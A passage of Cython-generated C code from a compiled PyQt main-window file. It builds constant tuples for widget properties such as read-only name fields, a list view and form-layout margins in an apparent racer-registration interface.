self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) */ __pyx_tuple__235 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__235)) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__235); __Pyx_GIVEREF(__pyx_tuple__235); /* "Ui_MainWindow.py":390 * self.L_RList.setMouseTracking(True) * self.L_RList.setAcceptDrops(True) * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") # <<<<<<<<<<<<<< * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) */ __pyx_tuple__236 = PyTuple_Pack(1, __pyx_kp_u_font_10pt_Bitstream_Charter); if (unlikely(!__pyx_tuple__236)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__236); __Pyx_GIVEREF(__pyx_tuple__236); /* "Ui_MainWindow.py":393 * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_RList.setProperty("isWrapping", False) # <<<<<<<<<<<<<< * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) */ __pyx_tuple__237 = PyTuple_Pack(2, __pyx_n_u_isWrapping, Py_False); if (unlikely(!__pyx_tuple__237)) __PYX_ERR(0, 393, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__237); __Pyx_GIVEREF(__pyx_tuple__237); /* "Ui_MainWindow.py":395 * self.L_RList.setProperty("isWrapping", False) * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) # <<<<<<<<<<<<<< * self.L_RList.setObjectName("L_RList") * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) */ __pyx_tuple__238 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__238)) __PYX_ERR(0, 395, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__238); __Pyx_GIVEREF(__pyx_tuple__238); /* "Ui_MainWindow.py":396 * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) * self.L_RList.setObjectName("L_RList") # <<<<<<<<<<<<<< * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) */ __pyx_tuple__239 = PyTuple_Pack(1, __pyx_n_u_L_RList); if (unlikely(!__pyx_tuple__239)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__239); __Pyx_GIVEREF(__pyx_tuple__239); /* "Ui_MainWindow.py":398 * self.L_RList.setObjectName("L_RList") * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) # <<<<<<<<<<<<<< * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) */ __pyx_tuple__240 = PyTuple_Pack(4, __pyx_int_260, __pyx_int_0, __pyx_int_1131, __pyx_int_521); if (unlikely(!__pyx_tuple__240)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__240); __Pyx_GIVEREF(__pyx_tuple__240); /* "Ui_MainWindow.py":399 * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") # <<<<<<<<<<<<<< * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) */ __pyx_tuple__241 = PyTuple_Pack(1, __pyx_n_u_formLayoutWidget_3); if (unlikely(!__pyx_tuple__241)) __PYX_ERR(0, 399, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__241); __Pyx_GIVEREF(__pyx_tuple__241); /* "Ui_MainWindow.py":403 * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout_3.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.formLayout_3.setVerticalSpacing(2) * self.formLayout_3.setObjectName("formLayout_3") */ __pyx_tuple__242 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__242)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__242); __Pyx_GIVEREF(__pyx_tuple__242); /* "Ui_MainWindow.py":404 * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout_3.setContentsMargins(0, 0, 0, 0) * self.formLayout_3.setVerticalSpacing(2) # <<<<<<<<<<<<<< * self.formLayout_3.setObjectName("formLayout_3") * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__243 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__243)) __PYX_ERR(0, 404, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__243); __Pyx_GIVEREF(__pyx_tuple__243); /* "Ui_MainWindow.py":405 * self.formLayout_3.setContentsMargins(0, 0, 0, 0) * self.formLayout_3.setVerticalSpacing(2) * self.formLayout_3.setObjectName("formLayout_3") # <<<<<<<<<<<<<< * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_34.setObjectName("label_34") */ __pyx_tuple__244 = PyTuple_Pack(1, __pyx_n_u_formLayout_3); if (unlikely(!__pyx_tuple__244)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__244); __Pyx_GIVEREF(__pyx_tuple__244); /* "Ui_MainWindow.py":407 * self.formLayout_3.setObjectName("formLayout_3") * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_34.setObjectName("label_34") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__245 = PyTuple_Pack(1, __pyx_n_u_label_34); if (unlikely(!__pyx_tuple__245)) __PYX_ERR(0, 407, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__245); __Pyx_GIVEREF(__pyx_tuple__245); /* "Ui_MainWindow.py":410 * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) */ __pyx_tuple__246 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__246)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__246); __Pyx_GIVEREF(__pyx_tuple__246); /* "Ui_MainWindow.py":411 * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_lastname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") */ __pyx_tuple__247 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__247)) __PYX_ERR(0, 411, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__247); __Pyx_GIVEREF(__pyx_tuple__247); /* "Ui_MainWindow.py":412 * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") */ __pyx_tuple__248 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__248)) __PYX_ERR(0, 412, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__248); __Pyx_GIVEREF(__pyx_tuple__248); /* "Ui_MainWindow.py":413 * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") # <<<<<<<<<<<<<< * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") */ __pyx_tuple__249 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__249)) __PYX_ERR(0, 413, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__249); __Pyx_GIVEREF(__pyx_tuple__249); /* "Ui_MainWindow.py":414 * self.RR_lastname.setAcceptDrops(False) * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") */ __pyx_tuple__250 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__250)) __PYX_ERR(0, 414, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__250); __Pyx_GIVEREF(__pyx_tuple__250); /* "Ui_MainWindow.py":415 * self.RR_lastname.setToolTip("") * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") */ __pyx_tuple__251 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__251)) __PYX_ERR(0, 415, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__251); __Pyx_GIVEREF(__pyx_tuple__251); /* "Ui_MainWindow.py":416 * self.RR_lastname.setStatusTip("") * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") */ __pyx_tuple__252 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__252)) __PYX_ERR(0, 416, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__252); __Pyx_GIVEREF(__pyx_tuple__252); /* "Ui_MainWindow.py":417 * self.RR_lastname.setAccessibleName("") * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") # <<<<<<<<<<<<<< * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) */ __pyx_tuple__253 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__253)) __PYX_ERR(0, 417, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__253); __Pyx_GIVEREF(__pyx_tuple__253); /* "Ui_MainWindow.py":418 * self.RR_lastname.setAccessibleDescription("") * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") # <<<<<<<<<<<<<< * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) */ __pyx_tuple__254 = PyTuple_Pack(1, __pyx_n_u_R_LastName); if (unlikely(!__pyx_tuple__254)) __PYX_ERR(0, 418, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__254); __Pyx_GIVEREF(__pyx_tuple__254); /* "Ui_MainWindow.py":419 * self.RR_lastname.setInputMask("") * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) # <<<<<<<<<<<<<< * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") */ __pyx_tuple__255 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__255)) __PYX_ERR(0, 419, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__255); __Pyx_GIVEREF(__pyx_tuple__255); /* "Ui_MainWindow.py":420 * self.RR_lastname.setText("R_LastName") * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_lastname.setPlaceholderText("") * self.RR_lastname.setObjectName("RR_lastname") */ __pyx_tuple__256 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__256)) __PYX_ERR(0, 420, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__256); __Pyx_GIVEREF(__pyx_tuple__256); /* "Ui_MainWindow.py":421 * self.RR_lastname.setFrame(False) * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_lastname.setObjectName("RR_lastname") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) */ __pyx_tuple__257 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__257)) __PYX_ERR(0, 421, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__257); __Pyx_GIVEREF(__pyx_tuple__257); /* "Ui_MainWindow.py":422 * self.RR_lastname.setReadOnly(True) * self.RR_lastname.setPlaceholderText("") * self.RR_lastname.setObjectName("RR_lastname") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__258 = PyTuple_Pack(1, __pyx_n_u_RR_lastname); if (unlikely(!__pyx_tuple__258)) __PYX_ERR(0, 422, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__258); __Pyx_GIVEREF(__pyx_tuple__258); /* "Ui_MainWindow.py":425 * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) * self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_35.setObjectName("label_35") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__259 = PyTuple_Pack(1, __pyx_n_u_label_35); if (unlikely(!__pyx_tuple__259)) __PYX_ERR(0, 425, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__259); __Pyx_GIVEREF(__pyx_tuple__259); /* "Ui_MainWindow.py":428 * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) */ __pyx_tuple__260 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__260)) __PYX_ERR(0, 428, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__260); __Pyx_GIVEREF(__pyx_tuple__260); /* "Ui_MainWindow.py":429 * self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_firstname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") */ __pyx_tuple__261 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__261)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__261); __Pyx_GIVEREF(__pyx_tuple__261); /* "Ui_MainWindow.py":430 * self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") */ __pyx_tuple__262 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__262)) __PYX_ERR(0, 430, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__262); __Pyx_GIVEREF(__pyx_tuple__262); /* "Ui_MainWindow.py":431 * self.RR_firstname.setMouseTracking(False) * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") # <<<<<<<<<<<<<< * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") */ __pyx_tuple__263 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__263)) __PYX_ERR(0, 431, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__263); __Pyx_GIVEREF(__pyx_tuple__263); /* "Ui_MainWindow.py":432 * self.RR_firstname.setAcceptDrops(False) * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") */ __pyx_tuple__264 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__264)) __PYX_ERR(0, 432, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__264); __Pyx_GIVEREF(__pyx_tuple__264); /* "Ui_MainWindow.py":433 * self.RR_firstname.setToolTip("") * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") */ __pyx_tuple__265 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__265)) __PYX_ERR(0, 433, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__265); __Pyx_GIVEREF(__pyx_tuple__265); /* "Ui_MainWindow.py":434 * self.RR_firstname.setStatusTip("") * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) */ __pyx_tuple__266 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__266)) __PYX_ERR(0, 434, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__266); __Pyx_GIVEREF(__pyx_tuple__266); /* "Ui_MainWindow.py":435 * self.RR_firstname.setAccessibleName("") * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") # <<<<<<<<<<<<<< * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) */ __pyx_tuple__267 = PyTuple_Pack(1, __pyx_n_u_R_FirstName); if (unlikely(!__pyx_tuple__267)) __PYX_ERR(0, 435, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__267); __Pyx_GIVEREF(__pyx_tuple__267); /* "Ui_MainWindow.py":436 * self.RR_firstname.setAccessibleDescription("") * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) # <<<<<<<<<<<<<< * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") */ __pyx_tuple__268 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__268)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__268); __Pyx_GIVEREF(__pyx_tuple__268); /* "Ui_MainWindow.py":437 * self.RR_firstname.setText("R_FirstName") * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_firstname.setPlaceholderText("") * self.RR_firstname.setObjectName("RR_firstname") */ __pyx_tuple__269 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__269)) __PYX_ERR(0, 437, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__269); __Pyx_GIVEREF(__pyx_tuple__269); /* "Ui_MainWindow.py":438 * self.RR_firstname.setFrame(False) * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_firstname.setObjectName("RR_firstname") * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) */ __pyx_tuple__270 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__270)) __PYX_ERR(0, 438, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__270); __Pyx_GIVEREF(__pyx_tuple__270); /* "Ui_MainWindow.py":439 * self.RR_firstname.setReadOnly(True) * self.RR_firstname.setPlaceholderText("") * self.RR_firstname.setObjectName("RR_firstname") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__271 = PyTuple_Pack(1, __pyx_n_u_RR_firstname); if (unlikely(!__pyx_tuple__271)) __PYX_ERR(0, 439, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__271); __Pyx_GIVEREF(__pyx_tuple__271); /* "Ui_MainWindow.py":442 * self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) * self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_37.setObjectName("label_37") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() */ __pyx_tuple__272 = PyTuple_Pack(1, __pyx_n_u_label_37); if (unlikely(!__pyx_tuple__272)) __PYX_ERR(0, 442, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__272); __Pyx_GIVEREF(__pyx_tuple__272); /* "Ui_MainWindow.py":445 * self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_8.setSpacing(2) * self.horizontalLayout_8.setObjectName("horizontalLayout_8") */ __pyx_tuple__273 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_0, __pyx_int_neg_1, __pyx_int_0); if (unlikely(!__pyx_tuple__273)) __PYX_ERR(0, 445, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__273); __Pyx_GIVEREF(__pyx_tuple__273); /* "Ui_MainWindow.py":446 * self.horizontalLayout_8 = QtWidgets.QHBoxLayout() * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_8.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_8.setObjectName("horizontalLayout_8") * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__274 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__274)) __PYX_ERR(0, 446, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__274); __Pyx_GIVEREF(__pyx_tuple__274); /* "Ui_MainWindow.py":447 * self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_8.setSpacing(2) * self.horizontalLayout_8.setObjectName("horizontalLayout_8") # <<<<<<<<<<<<<< * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) */ __pyx_tuple__275 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_8); if (unlikely(!__pyx_tuple__275)) __PYX_ERR(0, 447, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__275); __Pyx_GIVEREF(__pyx_tuple__275); /* "Ui_MainWindow.py":450 * self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__276 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__276)) __PYX_ERR(0, 450, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__276); __Pyx_GIVEREF(__pyx_tuple__276); /* "Ui_MainWindow.py":451 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) * self.RR_Npa.setSizePolicy(sizePolicy) */ __pyx_tuple__277 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__277)) __PYX_ERR(0, 451, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__277); __Pyx_GIVEREF(__pyx_tuple__277); /* "Ui_MainWindow.py":454 * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) * self.RR_Npa.setSizePolicy(sizePolicy) * self.RR_Npa.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") */ __pyx_tuple__278 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__278)) __PYX_ERR(0, 454, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__278); __Pyx_GIVEREF(__pyx_tuple__278); /* "Ui_MainWindow.py":455 * self.RR_Npa.setSizePolicy(sizePolicy) * self.RR_Npa.setMouseTracking(False) * self.RR_Npa.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") */ __pyx_tuple__279 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__279)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__279); __Pyx_GIVEREF(__pyx_tuple__279); /* "Ui_MainWindow.py":456 * self.RR_Npa.setMouseTracking(False) * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") */ __pyx_tuple__280 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__280)) __PYX_ERR(0, 456, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__280); __Pyx_GIVEREF(__pyx_tuple__280); /* "Ui_MainWindow.py":457 * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") */ __pyx_tuple__281 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__281)) __PYX_ERR(0, 457, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__281); __Pyx_GIVEREF(__pyx_tuple__281); /* "Ui_MainWindow.py":458 * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") */ __pyx_tuple__282 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__282)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__282); __Pyx_GIVEREF(__pyx_tuple__282); /* "Ui_MainWindow.py":459 * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") */ __pyx_tuple__283 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__283)) __PYX_ERR(0, 459, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__283); __Pyx_GIVEREF(__pyx_tuple__283); /* "Ui_MainWindow.py":460 * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") # <<<<<<<<<<<<<< * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) */ __pyx_tuple__284 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__284)) __PYX_ERR(0, 460, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__284); __Pyx_GIVEREF(__pyx_tuple__284); /* "Ui_MainWindow.py":461 * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") # <<<<<<<<<<<<<< * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) */ __pyx_tuple__285 = PyTuple_Pack(1, __pyx_n_u_R_Npa); if (unlikely(!__pyx_tuple__285)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__285); __Pyx_GIVEREF(__pyx_tuple__285); /* "Ui_MainWindow.py":462 * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) # <<<<<<<<<<<<<< * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) */ __pyx_tuple__286 = PyTuple_Pack(1, __pyx_int_9); if (unlikely(!__pyx_tuple__286)) __PYX_ERR(0, 462, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__286); __Pyx_GIVEREF(__pyx_tuple__286); /* "Ui_MainWindow.py":463 * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) # <<<<<<<<<<<<<< * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") */ __pyx_tuple__287 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__287)) __PYX_ERR(0, 463, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__287); 